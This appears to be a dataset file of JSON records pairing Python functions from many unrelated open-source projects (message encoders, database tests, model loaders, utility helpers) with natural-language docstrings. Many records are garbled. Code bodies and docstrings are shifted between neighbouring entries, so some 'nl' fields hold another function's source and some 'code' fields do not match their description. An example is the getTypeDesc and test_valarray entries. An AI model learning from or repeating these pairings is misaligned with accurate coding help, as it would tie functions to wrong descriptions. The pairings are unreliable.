amount_by_currency_id = msg.amount_by_currency_id\n performative.amount_by_currency_id.update(amount_by_currency_id)\n exchange_params_by_currency_id = msg.exchange_params_by_currency_id\n performative.exchange_params_by_currency_id.update(\n exchange_params_by_currency_id\n )\n quantities_by_good_id = msg.quantities_by_good_id\n performative.quantities_by_good_id.update(quantities_by_good_id)\n utility_params_by_good_id = msg.utility_params_by_good_id\n performative.utility_params_by_good_id.update(utility_params_by_good_id)\n fee_by_currency_id = msg.fee_by_currency_id\n performative.fee_by_currency_id.update(fee_by_currency_id)\n agent_addr_to_name = msg.agent_addr_to_name\n performative.agent_addr_to_name.update(agent_addr_to_name)\n currency_id_to_name = msg.currency_id_to_name\n performative.currency_id_to_name.update(currency_id_to_name)\n good_id_to_name = msg.good_id_to_name\n performative.good_id_to_name.update(good_id_to_name)\n version_id = msg.version_id\n performative.version_id = version_id\n if msg.is_set(\"info\"):\n performative.info_is_set = True\n info = msg.info\n performative.info.update(info)\n tac_msg.game_data.CopyFrom(performative)\n elif performative_id == TacMessage.Performative.TRANSACTION_CONFIRMATION:\n performative = tac_pb2.TacMessage.Transaction_Confirmation_Performative()\n transaction_id = msg.transaction_id\n performative.transaction_id = transaction_id\n amount_by_currency_id = msg.amount_by_currency_id\n performative.amount_by_currency_id.update(amount_by_currency_id)\n quantities_by_good_id = msg.quantities_by_good_id\n performative.quantities_by_good_id.update(quantities_by_good_id)\n tac_msg.transaction_confirmation.CopyFrom(performative)\n elif performative_id == TacMessage.Performative.TAC_ERROR:\n performative = tac_pb2.TacMessage.Tac_Error_Performative()\n error_code = msg.error_code\n ErrorCode.encode(performative.error_code, error_code)\n if msg.is_set(\"info\"):\n performative.info_is_set = True\n info = msg.info\n performative.info.update(info)\n tac_msg.tac_error.CopyFrom(performative)\n else:\n raise ValueError(\"Performative not valid: {}\".format(performative_id))\n\n dialogue_message_pb.content = tac_msg.SerializeToString()\n\n message_pb.dialogue_message.CopyFrom(dialogue_message_pb)\n message_bytes = message_pb.SerializeToString()\n return message_bytes\n\n @staticmethod", "nl": "Encode a 'Tac' message into bytes.:param msg: the message object.:return: the bytes."} {"code": "def getTypeDesc(self, entTypeName):\n return self.output2typeNames.get(outputType, [])\n", "nl": "returns EntityTypeDesc instance for concrete Entity typeassert entTypeName in self.entTypeName2typeDesc,\\\"unknown entity type '%s'\" % entTypeName# the table has descriptors for abstract entity types, but I don't# think there's any need for anyone outside this class to access themassert self.entTypeName2typeDesc[entTypeName].isConcrete(),\\\"entity type '%s' is abstract\" % entTypeNamereturn self.entTypeName2typeDesc[entTypeName]def getTypeNamesFromOutputType(self, outputType):return Entity typenames for Entity types with particular output"} {"code": "def test_valarray(doc):\n d = m.cast_map()\n assert d == {\"key\": \"value\"}\n d[\"key2\"] = \"value2\"\n assert m.load_map(d)\n\n assert doc(m.cast_map) == \"cast_map() -> Dict[str, str]\"\n assert doc(m.load_map) == \"load_map(arg0: Dict[str, str]) -> bool\"\n\n", "nl": "std::valarray <-> listl = m.cast_valarray()assert l == [1, 4, 9]assert m.load_valarray(l)assert doc(m.cast_valarray) == \"cast_valarray() -> List[int]\"assert doc(m.load_valarray) == \"load_valarray(arg0: List[int]) -> bool\"def test_map(doc):std::map <-> dict"} {"code": "def __call__(self, result=None):\n testMethod = getattr(self, self._testMethodName)\n skipped = (getattr(self.__class__, \"unittest_skip__\", False) or\n getattr(testMethod, \"__unittest_skip__\", False))\n\n if not skipped:\n try:\n self._pre_setup()\n except Exception:\n result.addError(self, sys.exc_info())\n return\n with mock.patch('django.db.transaction', fake_transaction):\n with mock.patch('django.db.models.base.transaction', fake_transaction):\n with mock.patch('django.contrib.sessions.backends.db.transaction', fake_transaction):\n super(SimpleTestCase, self).__call__(result)\n if not skipped:\n try:\n self._post_teardown()\n except Exception:\n result.addError(self, sys.exc_info())\n return\n", "nl": "Wrapper around default __call__ method to do funky magic"} {"code": "def test_paging_on_compact_table_with_tombstone_on_first_column(self):\n\n session = self.prepare(row_factory=tuple_factory)\n create_ks(session, 'test_paging_on_compact_table_with_tombstone', 2)\n session.execute(\"CREATE TABLE test (a int primary key, b int, c int) WITH COMPACT STORAGE\")\n\n for i in xrange(5):\n session.execute(\"INSERT INTO test (a, b, c) VALUES ({}, {}, {})\".format(i, 1, 1))\n session.execute(\"DELETE b FROM test WHERE a = {}\".format(i))\n\n for page_size in (2, 3, 4, 5, 7, 10):", "nl": "test paging, on COMPACT tables without clustering columns, when the first column has a tombstone@jira_ticket CASSANDRA-11467"} {"code": "def check_metadata(self):\n metadata = self.distribution.metadata\n\n missing = []\n for attr in ('name', 'version', 'url'):\n if not (hasattr(metadata, attr) and getattr(metadata, attr)):\n missing.append(attr)\n\n if missing:\n self.warn(\"missing required meta-data: %s\" % ', '.join(missing))\n if metadata.author:\n if not metadata.author_email:\n self.warn(\"missing meta-data: if 'author' supplied, \" +\n \"'author_email' must be supplied too\")\n elif metadata.maintainer:\n if not metadata.maintainer_email:\n self.warn(\"missing meta-data: if 'maintainer' supplied, \" +\n \"'maintainer_email' must be supplied too\")\n else:\n self.warn(\"missing meta-data: either (author and author_email) \" +\n \"or (maintainer and maintainer_email) \" +\n \"must be supplied\")\n", "nl": "Ensures that all required elements of meta-data are supplied.name, version, URL, (author and author_email) or(maintainer and maintainer_email)).Warns if any are missing."} {"code": "def update_for_update_policies(self, old_rules: [str], new_rules: [str]):\n pass", "nl": "update_for_update_policies calls the update callback of other instances to synchronize their policy.It is called after Enforcer.UpdatePolicies()"} {"code": "def get_default_gateway(self):\n gws = netifaces.gateways()", "nl": "Returns the default gateway on the host machine@param (self) - self@return array[element] : element -> string"} {"code": "def add_target_callback(config):\n\n config[\"after_train_step\"] = UpdateTargetAndKL\n return validate_config(config)\n\n", "nl": "Add the update target and kl hook.This hook is called explicitly after each learner step in the executionsetup for IMPALA."} {"code": "def move_from_center(coord, centers, deltas, axmask=(True, True, True)):\n\n tick.label1.set_position(labelpos)\n tick.label2.set_position(labelpos)\n tick.tick1line.set_visible(True)\n tick.tick2line.set_visible(False)\n tick.tick1line.set_linestyle('-')\n tick.tick1line.set_marker('')\n tick.tick1line.set_data(tickxs, tickys)\n tick.gridline.set_data(0, 0)\n\n\nclass Axis(maxis.XAxis):\n \"\"\"An Axis class for the 3D plots. \"\"\"", "nl": "Return a coordinate that is moved by \"deltas\" away from the center.coord = copy.copy(coord)for i in range(3):if not axmask[i]:continueif coord[i] < centers[i]:coord[i] -= deltas[i]else:coord[i] += deltas[i]return coorddef tick_update_position(tick, tickxs, tickys, labelpos):Update tick line and label position and style."} {"code": "def decode(loc, priors, variances):\n\n boxes = torch.cat(\n (priors[:, :2] + loc[:, :2] * variances[0] * priors[:, 2:],\n priors[:, 2:] * torch.exp(loc[:, 2:] * variances[1])), 1)\n boxes[:, :2] -= boxes[:, 2:] / 2\n boxes[:, 2:] += boxes[:, :2]\n return boxes\n\n", "nl": "Decode locations from predictions using priors to undothe encoding we did for offset regression at train time.Args:loc (tensor): location predictions for loc layers,Shape: [num_priors,4]priors (tensor): Prior boxes in center-offset form.Shape: [num_priors,4].variances: (list[float]) Variances of priorboxesReturn:decoded bounding box predictions"} {"code": "def c_init(self, name, sub):\n", "nl": "return %(name)s = NULL; % locals()"} {"code": "def load(fh, encoding: Optional[str] = None, is_verbose: bool = False):\n\n try:\n fh.seek(0)\n if encoding is not None:\n up = Unpickler(fh, encoding=encoding)\n else:\n up = Unpickler(fh)\n up.is_verbose = is_verbose\n\n return up.load()\n except (ValueError, TypeError):\n raise", "nl": "Load a pickle, with a provided encoding,Parameters----------fh : a filelike objectencoding : an optional encodingis_verbose : show exception output"} {"code": "def url_to_filename(url: str, etag: Optional[str] = None) -> str:\n url_bytes = url.encode(\"utf-8\")\n filename = sha256(url_bytes).hexdigest()\n\n if etag:\n etag_bytes = etag.encode(\"utf-8\")\n filename += \".\" + sha256(etag_bytes).hexdigest()\n\n if url.endswith(\".h5\"):\n filename += \".h5\"\n\n return filename\n\n", "nl": "Convert `url` into a hashed filename in a repeatable way. If `etag` is specified, append its hash to the url's,delimited by a period. If the url ends with .h5 (Keras HDF5 weights) adds '.h5' to the name so that TF 2.0 canidentify it as a HDF5 file (seehttps://github.com/tensorflow/tensorflow/blob/00fad90125b18b80fe054de1055770cfb8fe4ba3/tensorflow/python/keras/engine/network.py#L1380)"} {"code": "def multivariate_normal(datasets, weights, hyperparams, residuals):\n n_t = len(datasets)\n\n logpts = tt.zeros((n_t), tconfig.floatX)\n\n for l, data in enumerate(datasets):\n M = tt.cast(shared(\n data.samples, name='nsamples', borrow=True), 'int16')\n hp_name = get_hyper_name(data)\n norm = (M * (2 * hyperparams[hp_name] + log_2pi))\n logpts = tt.set_subtensor(\n logpts[l:l + 1],\n (-0.5) * (\n data.covariance.slog_pdet +\n norm +\n (1 / tt.exp(hyperparams[hp_name] * 2)) *\n (residuals[l].dot(weights[l]).dot(residuals[l].T))))\n\n return logpts\n\n", "nl": "Calculate posterior Likelihood of a Multivariate Normal distribution.Uses plain inverse of the covariances.DEPRECATED! Is currently not being used in beat.Can only be executed in a `with model context`.Parameters----------datasets : listof :class:`heart.SeismicDataset` or :class:`heart.GeodeticDataset`weights : listof :class:`theano.shared`Square matrix of the inverse of the covariance matrix as weightshyperparams : dictof :class:`theano.`residual : list or array of model residualsReturns-------array_like"} {"code": "def next(self, title, next, name = \"Next\", active = 1):\n if active:\n flags = 3\n else:\n flags = 1\n return self.pushbutton(name, 236, self.h-27, 56, 17, flags, title, next)\n", "nl": "Add a Next button with a given title, the tab-next button,its name in the Control table, possibly initially disabled.Return the button, so that events can be associated"} {"code": "def get_args():\n\n Get arguments, set up WhatLastGenre object,\n search for music directories, run the main loop on them\n and print out some statistics.\n \"\"\"", "nl": "Get the cmdline arguments from ArgumentParser.parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter,description='Improve genre metadata of audio files ''based on tags from various music sites.')parser.add_argument('path', nargs='+',help='path(s) to scan for albums')parser.add_argument('-v', '--verbose', action='count', default=0,help='verbose output (-vv for debug)')parser.add_argument('-n', '--dry', action='store_true',help='don\\'t save metadata')parser.add_argument('-u', '--update-cache', action='store_true',help='force cache update')parser.add_argument('-l', '--tag-limit', metavar='N', type=int, default=4,help='max. number of genre tags')parser.add_argument('-r', '--release', action='store_true',help='get release info from redacted')parser.add_argument('-d', '--difflib', action='store_true',help='enable difflib matching (slow)')return parser.parse_args()def main():main function of whatlastgenre."} {"code": "def test_update_values(self):\n m0 = TestUpdateModel.create(count=5, text='monkey')\n\n with patch.object(self.session, 'execute') as execute:\n m0.update()\n assert execute.call_count == 0\n\n with patch.object(self.session, 'execute') as execute:\n m0.update(count=5)\n assert execute.call_count == 0\n", "nl": " tests calling update on models with values passed in m0 = TestUpdateModel.create(count=5, text='monkey')# independently save over a new count value, unknown to original instancem1 = TestUpdateModel.get(partition=m0.partition, cluster=m0.cluster)m1.count = 6m1.save()# update the text, and call updatem0.update(text='monkey land')self.assertEqual(m0.text, 'monkey land')# database should reflect both updatesm2 = TestUpdateModel.get(partition=m0.partition, cluster=m0.cluster)self.assertEqual(m2.count, m1.count)self.assertEqual(m2.text, m0.text)def test_noop_model_update(self): tests that calling update on a model with no changes will do nothing. "} {"code": "def takeString(self, s):\n for c in s:\n self.takeWord(ord(c))\n", "nl": "Process a string as input. It is handled as a sequence of8-bit integers."} {"code": "def copy(self, cls=None):\n return self._status_line\n\n @property", "nl": " Returns a copy of self. cls = cls or BaseResponseassert issubclass(cls, BaseResponse)copy = cls()copy.status = self.statuscopy._headers = dict((k, v[:]) for (k, v) in self._headers.items())if self._cookies:copy._cookies = SimpleCookie()copy._cookies.load(self._cookies.output(header=''))return copydef __iter__(self):return iter(self.body)def close(self):if hasattr(self.body, 'close'):self.body.close()@propertydef status_line(self): The HTTP status line as a string (e.g. ``404 Not Found``)."} {"code": "def _get_timeunit(min_time: pd.Timestamp, max_time: pd.Timestamp, dflt: int) -> str:\n\n dt_secs = {\n \"year\": 60 * 60 * 24 * 365,\n \"quarter\": 60 * 60 * 24 * 91,\n \"month\": 60 * 60 * 24 * 30,\n \"week\": 60 * 60 * 24 * 7,\n \"day\": 60 * 60 * 24,\n \"hour\": 60 * 60,\n \"minute\": 60,\n \"second\": 1,\n }\n\n time_rng_secs = (max_time - min_time).total_seconds()\n prev_bin_cnt, prev_unit = 0, \"year\"\n for unit, secs_in_unit in dt_secs.items():\n cur_bin_cnt = time_rng_secs / secs_in_unit\n if abs(prev_bin_cnt - dflt) < abs(cur_bin_cnt - dflt):\n return prev_unit\n prev_bin_cnt = cur_bin_cnt\n prev_unit = unit\n\n return prev_unit\n\n", "nl": "Auxillary function to find an appropriate time unit. Will find thetime unit such that the number of time units are closest to dflt."} {"code": "def test_timeout(self):\n self.assert_log_has_no_issue_matching(\n 'logging_recommended_dictionary_no_issue.txt', 'logging')\n", "nl": "Test 'timeout' issue.expected_issue = {'type': 'timeout', 'percent': 100.0, 'score': 64.0}self.assert_log_has_issue_matching('timeout_issue.txt', expected_issue)def test_no_logging_with_recommended_dictionaries(self):Test no logging issue for a log with recommended dictionaries."} {"code": "def get_log_files(self) -> List[str]:\n\n file_name = IgnisLogging().get_log_file()\n search_path = os.path.abspath(file_name + \"*\")\n files = sorted(glob.glob(search_path), key=os.path.getmtime)\n\n result = list()\n m = re.compile(\n os.path.abspath(file_name).replace('\\\\', r'\\\\') + r\"$|\" +\n os.path.abspath(file_name).replace('\\\\', r'\\\\') + r\".\\d+$\")\n for f in files:\n if m.match(f):\n result.append(f)\n\n return result\n", "nl": "Get Names of all log files (several may be present due to loggingfile rotation). File names are sorted by modification time.Returns:list: list of all log file names"} {"code": "def extend_main_sequence(self):\n return self.get_last_node().new_child()\n", "nl": "Create a new Tree_node and add to the 'leftmost' variation.Returns the new node."} {"code": "def stopListening():\n", "nl": "Stop listening on this port.If it does not complete immediately, will return L{Deferred} that firesupon completion."} {"code": "def deserialize(format, stream_or_string):\n d = get_deserializer(format)\n return d(stream_or_string)\n", "nl": "Deserialize a stream or a string. Returns an iterator that yields ``(obj,m2m_relation_dict)``, where ``obj`` is a instantiated -- but *unsaved* --object, and ``m2m_relation_dict`` is a dictionary of ``{m2m_field_name :list_of_related_objects}``."} {"code": "def parse(self, value):\n new_value = self.parse(value)\n if new_value:\n locale = get_locale()\n return new_value.humanize(locale=locale)\n return _(str(value))\n\n\nclass BackupNumber(fields.String):\n \"\"\"Custom BackupNumber field\"\"\"", "nl": "Parse the valueif value is None:return Nonetry:return arrow.get(value)except arrow.parser.ParserError:return Nonedef format(self, value):Format the value"} {"code": "def do_adult_search(self, doAdult):\n self.doAdult = doAdult\n", "nl": "If set to 0 or False, movies in the Adult category are notepisodeOf = title_dict.get('episode of')shown in the results of a search."} {"code": "def context():\n this_test_file = os.path.abspath(__file__)\n conf_path = Path(this_test_file).parents[1] / 'config'\n return user_configuration(conf_path)[1]\n\n\n@pytest.fixture", "nl": "Return the context object for the example configuration.this_test_file = os.path.abspath(__file__)conf_path = Path(this_test_file).parents[1] / 'config'return user_configuration(conf_path)[2]@pytest.fixture(scope='session', autouse=True)def modules():Return the modules object for the example configuration."} {"code": "def test_dontRetryIfRetryAutomaticallyFalse(self):\n pool = client.HTTPConnectionPool(Clock())\n pool.retryAutomatically = False\n\n protocol = StubHTTPProtocol()\n protocol.makeConnection(StringTransport())\n pool._putConnection(123, protocol)\n\n d = pool.getConnection(123, DummyEndpoint())\n", "nl": "If L{HTTPConnectionPool.retryAutomatically} is set to C{False}, don'twrap connections with retrying logic."} {"code": "def delete_router(self, context, data):\n self.mapping.clean_port_forwardings_by_router_id(data['id'])\n", "nl": "Handle a router delete event.:param context: RPC context.:param data: Router data."} {"code": "def test_representation(self):\n self.assertEqual(\"<FXF=READ>\", repr(self.FXF.READ))\n\n", "nl": "The string representation of a constant on a L{Flags} subclass includesthe name of the L{Flags} subclass and the name of the constant itself."} {"code": "def stat(subsystem, cgrp, pseudofile):\n apps_group = apps_group_name(cgroup_prefix)\n basepath = cgroups.makepath('cpu', apps_group)\n files = os.listdir(basepath)\n return [appname for appname in files\n if os.path.isdir(os.path.join(basepath, appname))]\n\n", "nl": "Calls stat the cgrp filepath = cgroups.makepath(subsystem, cgrp, pseudofile)return os.stat(path)def apps(cgroup_prefix):Returns list of apps in apps cgroup."} {"code": "def is_alive(self):\n self._check_closed()\n if self is _current_process:\n return True\n assert self._parent_pid == os.getpid(), 'can only test a child process'\n\n if self._popen is None:\n return False\n\n returncode = self._popen.poll()\n if returncode is None:\n return True\n else:\n _children.discard(self)\n return False\n", "nl": "Return whether process is alive"} {"code": "def split(str, delimiters, joiner=None):\n result, element = [], ''\n for c in str:\n if c in delimiters:\n result.append(element)\n element = ''\n if joiner:\n result.append(joiner)\n else:\n result.append(c)\n else:\n element += c\n result.append(element)\n return result\n", "nl": "Split a string into pieces by a set of delimiter characters. Theresulting list is delimited by joiner, or the original delimiter ifjoiner is not specified.Examples:>>> split('192.168.0.45', '.')['192', '.', '168', '.', '0', '.', '45']>>> split('terry@wayforward.net', '@.')['terry', '@', 'wayforward', '.', 'net']>>> split('terry@wayforward.net', '@.', '.')['terry', '.', 'wayforward', '.', 'net']"} {"code": "def get_queue_names(self, vhost_name=None):\n collectd.debug(\"Getting queue names for %s\" % vhost_name)\n all_queues = self.get_queues(vhost_name)\n return self.get_names(all_queues)\n", "nl": "Returns a list of all queue names."} {"code": "def _auth(self):\n salt = self._salt\n tries = 0\n while tries < 5:\n passwd = self._getsecret(\"Please type in your master password\")\n if not isinstance(passwd, bytes):\n passwd = passwd.encode()\n if self.authenticate(passwd):\n return passwd, salt\n\n print(\"You entered a wrong password...\")\n tries += 1\n raise CryptoException(\"You entered wrong password 5 times..\")\n", "nl": "Read password from the user, if the password is correct,finish the execution an return the password and salt whichare read from the file."} {"code": "def resnet101(pretrained=False, **kwargs):\n model = ResNet(Bottleneck, [3, 4, 23, 3], **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet101']))\n return model\n\n", "nl": "Constructs a ResNet-101 model.Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def pressure(self) -> int:\n if self._current is not None:\n return round(self._current.uv, 1)\n return None\n\n @property", "nl": "Return the pressure.if self._current is not None:if self._unit_system == \"imperial\":return round(self._current.sea_level_pressure, 3)return round(self._current.sea_level_pressure, 2)return None@propertydef uv(self) -> int:Return the UV Index."} {"code": "def from_pretrained(cls, pretrained_model_name_or_path, *model_args, **kwargs):\n config = kwargs.pop(\"config\", None)\n if not isinstance(config, PretrainedConfig):\n config, kwargs = AutoConfig.from_pretrained(\n pretrained_model_name_or_path, return_unused_kwargs=True, **kwargs\n )\n\n for config_class, model_class in MODEL_MAPPING.items():\n if isinstance(config, config_class):\n return model_class.from_pretrained(pretrained_model_name_or_path, *model_args, config=config, **kwargs)\n raise ValueError(\n \"Unrecognized configuration class {} for this kind of AutoModel: {}.\\n\"\n \"Model type should be one of {}.\".format(\n config.__class__, cls.__name__, \", \".join(c.__name__ for c in MODEL_MAPPING.keys())\n )\n )\n\n\nclass AutoModelForPreTraining:\n r\"\"\"\n", "nl": "r Instantiates one of the base model classes of the libraryfrom a pre-trained model configuration.The `from_pretrained()` method takes care of returning the correct model class instancebased on the `model_type` property of the config object, or when it's missing,falling back to using pattern matching on the `pretrained_model_name_or_path` string:- `t5`: :class:`~transformers.T5Model` (T5 model)- `distilbert`: :class:`~transformers.DistilBertModel` (DistilBERT model)- `albert`: :class:`~transformers.AlbertModel` (ALBERT model)- `camembert`: :class:`~transformers.CamembertModel` (CamemBERT model)- `xlm-roberta`: :class:`~transformers.XLMRobertaModel` (XLM-RoBERTa model)- `longformer` :class:`~transformers.LongformerModel` (Longformer model)- `roberta`: :class:`~transformers.RobertaModel` (RoBERTa model)- `bert`: :class:`~transformers.BertModel` (Bert model)- `openai-gpt`: :class:`~transformers.OpenAIGPTModel` (OpenAI GPT model)- `gpt2`: :class:`~transformers.GPT2Model` (OpenAI GPT-2 model)- `transfo-xl`: :class:`~transformers.TransfoXLModel` (Transformer-XL model)- `xlnet`: :class:`~transformers.XLNetModel` (XLNet model)- `xlm`: :class:`~transformers.XLMModel` (XLM model)- `ctrl`: :class:`~transformers.CTRLModel` (Salesforce CTRL model)- `flaubert`: :class:`~transformers.FlaubertModel` (Flaubert model)- `electra`: :class:`~transformers.ElectraModel` (Electra model)The model is set in evaluation mode by default using `model.eval()` (Dropout modules are deactivated)To train the model, you should first set it back in training mode with `model.train()`Args:pretrained_model_name_or_path: either:- a string with the `shortcut name` of a pre-trained model to load from cache or download, e.g.: ``bert-base-uncased``.- a string with the `identifier name` of a pre-trained model that was user-uploaded to our S3, e.g.: ``dbmdz/bert-base-german-cased``.- a path to a `directory` containing model weights saved using :func:`~transformers.PreTrainedModel.save_pretrained`, e.g.: ``./my_model_directory/``.- a path or url to a `tensorflow index checkpoint file` (e.g. `./tf_model/model.ckpt.index`). In this case, ``from_tf`` should be set to True and a configuration object should be provided as ``config`` argument. This loading path is slower than converting the TensorFlow checkpoint in a PyTorch model using the provided conversion scripts and loading the PyTorch model afterwards.model_args: (`optional`) Sequence of positional arguments:All remaning positional arguments will be passed to the underlying model's ``__init__`` methodconfig: (`optional`) instance of a class derived from :class:`~transformers.PretrainedConfig`:Configuration for the model to use instead of an automatically loaded configuation. Configuration can be automatically loaded when:- the model is a model provided by the library (loaded with the ``shortcut-name`` string of a pretrained model), or- the model was saved using :func:`~transformers.PreTrainedModel.save_pretrained` and is reloaded by suppling the save directory.- the model is loaded by suppling a local directory as ``pretrained_model_name_or_path`` and a configuration JSON file named `config.json` is found in the directory.state_dict: (`optional`) dict:an optional state dictionary for the model to use instead of a state dictionary loaded from saved weights file.This option can be used if you want to create a model from a pretrained configuration but load your own weights.In this case though, you should check if using :func:`~transformers.PreTrainedModel.save_pretrained` and :func:`~transformers.PreTrainedModel.from_pretrained` is not a simpler option.cache_dir: (`optional`) string:Path to a directory in which a downloaded pre-trained modelconfiguration should be cached if the standard cache should not be used.force_download: (`optional`) boolean, default False:Force to (re-)download the model weights and configuration files and override the cached versions if they exists.resume_download: (`optional`) boolean, default False:Do not delete incompletely recieved file. Attempt to resume the download if such a file exists.proxies: (`optional`) dict, default None:A dictionary of proxy servers to use by protocol or endpoint, e.g.: {'http': 'foo.bar:3128', 'http://hostname': 'foo.bar:4012'}.The proxies are used on each request.output_loading_info: (`optional`) boolean:Set to ``True`` to also return a dictionary containing missing keys, unexpected keys and error messages.kwargs: (`optional`) Remaining dictionary of keyword arguments:These arguments will be passed to the configuration and the model.Examples::model = AutoModel.from_pretrained('bert-base-uncased') # Download model and configuration from S3 and cache.assert model.config.output_attentions == True# Loading from a TF checkpoint file instead of a PyTorch model (slower)config = AutoConfig.from_json_file('./tf_model/bert_tf_model_config.json')model = AutoModel.from_pretrained('./tf_model/bert_tf_checkpoint.ckpt.index', from_tf=True, config=config)"} {"code": "def cal_distance(x1, y1, x2, y2):\n Input:\n vertices: vertices of text region <numpy.ndarray, (8,)>\n Output:\n the best angle <radian measure>\n '''", "nl": "calculate the Euclidean distancereturn math.sqrt((x1 - x2) ** 2 + (y1 - y2) ** 2)def find_min_rect_angle(vertices):find the best angle to rotate poly and obtain min rectangle"} {"code": "def _get_alg(self):\n return self._alg\n\n _starts = None\n _ends = None\n _seq_lists = None", "nl": "Restituisce l'allineamento utilizzato"} {"code": "def get_selected_objects(self):\n selected_items = self.get_selected_items()\n\n if not self.object_column:\n return selected_items\n\n model = self.get_model()\n selected_objects = list(reversed([model[selected][self.object_column]\n for selected in selected_items]))\n\n return selected_objects\n", "nl": "Helper method that simplifies getting the objects stored on theselected items, givent that the object_column property is setted.This way there's no need for the client class to repeateadly access thecorrect column to retrieve the object from the raw rows."} {"code": "def uniq(container):\n\n try:\n return len(set(unbool(i) for i in container)) == len(container)\n except TypeError:\n try:\n sort = sorted(unbool(i) for i in container)\n sliced = itertools.islice(sort, 1, None)\n for i, j in zip(sort, sliced):\n if i == j:\n return False\n except (NotImplementedError, TypeError):\n seen = []\n for e in container:\n e = unbool(e)\n if e in seen:\n return False\n seen.append(e)\n return True", "nl": "Check if all of a container's elements are unique.Successively tries first to rely that the elements are hashable, thenfalls back on them being sortable, and finally falls back on bruteforce."} {"code": "def sunos5_output(self, *args, **kwargs):\n return output, 0, 0\n", "nl": "output = extended device statistics <-- since bootdevice r/s w/s kr/s kw/s wait actv svc_t %w %bramdisk1 0.0 0.0 0.1 0.1 0.0 0.0 0.0 0 0sd0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0 0sd1 79.9 149.9 1237.6 6737.9 0.0 0.5 2.3 0 11extended device statistics <-- past seconddevice r/s w/s kr/s kw/s wait actv svc_t %w %bramdisk1 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0 0sd0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0 102sd1 0.0 139.0 0.0 1850.6 0.0 0.0 0.1 0 10"} {"code": "def testUnEntities(self):\n d = microdom.parseString(s, beExtremelyLenient=1)\n n = domhelpers.gatherTextNodes(d)\n self.assertNotEqual(n.find('>'), -1)\n", "nl": "s = <HTML>This HTML goes between Stupid <=CrAzY!=> Dumb.</HTML>"} {"code": "def message_type(self):\n return None\n\n @property", "nl": "The numeric type of the message"} {"code": "def iter_toc(self):\n self.iter_timer.pause()\n", "nl": "Stop to record time."} {"code": "def test_module_placement_postdiagnostic(self):\n expected_module_constraint = {\n \"domain\": [\"os\"],\n \"sudo\": [\"False\"],\n \"required\": [],\n \"perfimpact\": [\"False\"],\n \"software\": [],\n \"optional\": [],\n \"class\": [\"collect\"],\n \"parallelexclusive\": [],\n \"distro\": [\"alami\", \"ubuntu\", \"rhel\", \"suse\"],\n \"requires_ec2\": [\"False\"]\n }\n\n self.assertDictEqual(self.module.constraint, expected_module_constraint)\n", "nl": "Check that module set itself to \"postdiagnostic\" placement.module_path = os.path.join(self.callpath, \"test/modules/post.d/ex.yaml\")module_obj = ec2rlcore.module.get_module(module_path)self.assertEqual(module_obj.placement, \"postdiagnostic\")def test_module_constraint(self):Check that constraints are imported as expected."} {"code": "def set_navigate(self, b):\n self._navigate = b\n", "nl": "Set whether the axes responds to navigation toolbar commandsParameters----------b : bool"} {"code": "def _get_build_number(self):\n metadata = self.cluster.metadata or {}\n build_number = metadata.get('build_number', None)\n if build_number:\n return build_number\n try:\n cluster = self._get_by_id()\n build_number = cluster['metadata']['build_number']\n self._save_cluster_metadata(build_number)\n return build_number\n except Exception:\n pass\n return build_number\n", "nl": "Get external ID of cluster, in this case Jenkins job ID.First we try to get build_number from related object metadata, if there is no build_numberyet, we need to look it up in build history of our configured provisioning Jenkins jobReturns:int: Jenkins job ID"} {"code": "def getMultipleParties(self, partyIds, sortByStartTime = False, isRetry=False):\n if not self.sqlAvailable:\n self.notify.debug(\"sqlAvailable was false when calling getMultipleParties\")\n return ()\n\n if not partyIds:\n self.notify.debug(\"empty list in partyIds for getMultipleParties\")\n return()\n\n cursor = MySQLdb.cursors.DictCursor(self.db)\n try:\n cursor.execute(\"USE `%s`\"%self.dbname)\n inClause = self.convertListToSQLString(partyIds)\n\n if sortByStartTime:\n cursor.execute(ttSQL.getMultiplePartiesSortedSELECT % inClause)\n else:\n cursor.execute(ttSQL.getMultiplePartiesSELECT % inClause)\n res = cursor.fetchall()\n self.notify.debug(\"Select was successful in getMultipleParties, returning %s\" % str(res))\n return res\n\n except _mysql_exceptions.OperationalError,e:\n if isRetry:\n self.notify.warning(\"Error on getMultipleParties retry. Giving up:\\n%s\" % str(e))\n return ()\n elif e[0] == SERVER_GONE_ERROR or e[0] == SERVER_LOST:\n self.reconnect()\n return self.getMultipleParties(partyIds, sortByStartTime, True)\n else:\n self.notify.warning(\"Unknown error in getMultipleParties, retrying:\\n%s\" % str(e))\n self.reconnect()\n return self.getMultipleParties(partyIds,sortByStartTime, True)\n except Exception,e:\n self.notify.warning(\"Unknown error in getMultipleParties, giving up:\\n%s\" % str(e))\n return ()\n\n\n", "nl": "Return all the partyInfo matching the partyIds list,It may return nothing if there are no matches.isRetry indicates whether this attempt is a retry or not."} {"code": "def trace_dispatch(self, frame, event, arg):\n if self.quitting:\n return\n if event == 'line':\n return self.dispatch_line(frame)\n if event == 'call':\n return self.dispatch_call(frame, arg)\n if event == 'return':\n return self.dispatch_return(frame, arg)\n if event == 'exception':\n return self.dispatch_exception(frame, arg)\n if event == 'c_call':\n return self.trace_dispatch\n if event == 'c_exception':\n return self.trace_dispatch\n if event == 'c_return':\n return self.trace_dispatch\n print('bdb.Bdb.dispatch: unknown debugging event:', repr(event))\n return self.trace_dispatch\n", "nl": "Dispatch a trace function for debugged frames based on the event.This function is installed as the trace function for debuggedframes. Its return value is the new trace function, which isusually itself. The default implementation decides how todispatch a frame, depending on the type of event (passed in as astring) that is about to be executed.The event can be one of the following:line: A new line of code is going to be executed.call: A function is about to be called or another code blockis entered.return: A function or other code block is about to return.exception: An exception has occurred.c_call: A C function is about to be called.c_return: A C function has returned.c_exception: A C function has raised an exception.For the Python events, specialized functions (see the dispatch_*()methods) are called. For the C events, no action is taken.The arg parameter depends on the previous event."} {"code": "def null_javascript_catalog(request, domain=None, packages=None):\n return http.HttpResponse(NullSource + InterPolate, 'text/javascript')\n", "nl": "Returns \"identity\" versions of the JavaScript i18n functions -- i.e.,versions that don't actually do anything."} {"code": "def my_func(self):\n return mymodule.Class()\n ''')", "nl": "This is a docstring.Returns-------mymodule.ClassAn object"} {"code": "def build(anchor_generator_config):\n if not isinstance(anchor_generator_config,\n anchor_generator_pb2.AnchorGenerator):\n raise ValueError('anchor_generator_config not of type '\n 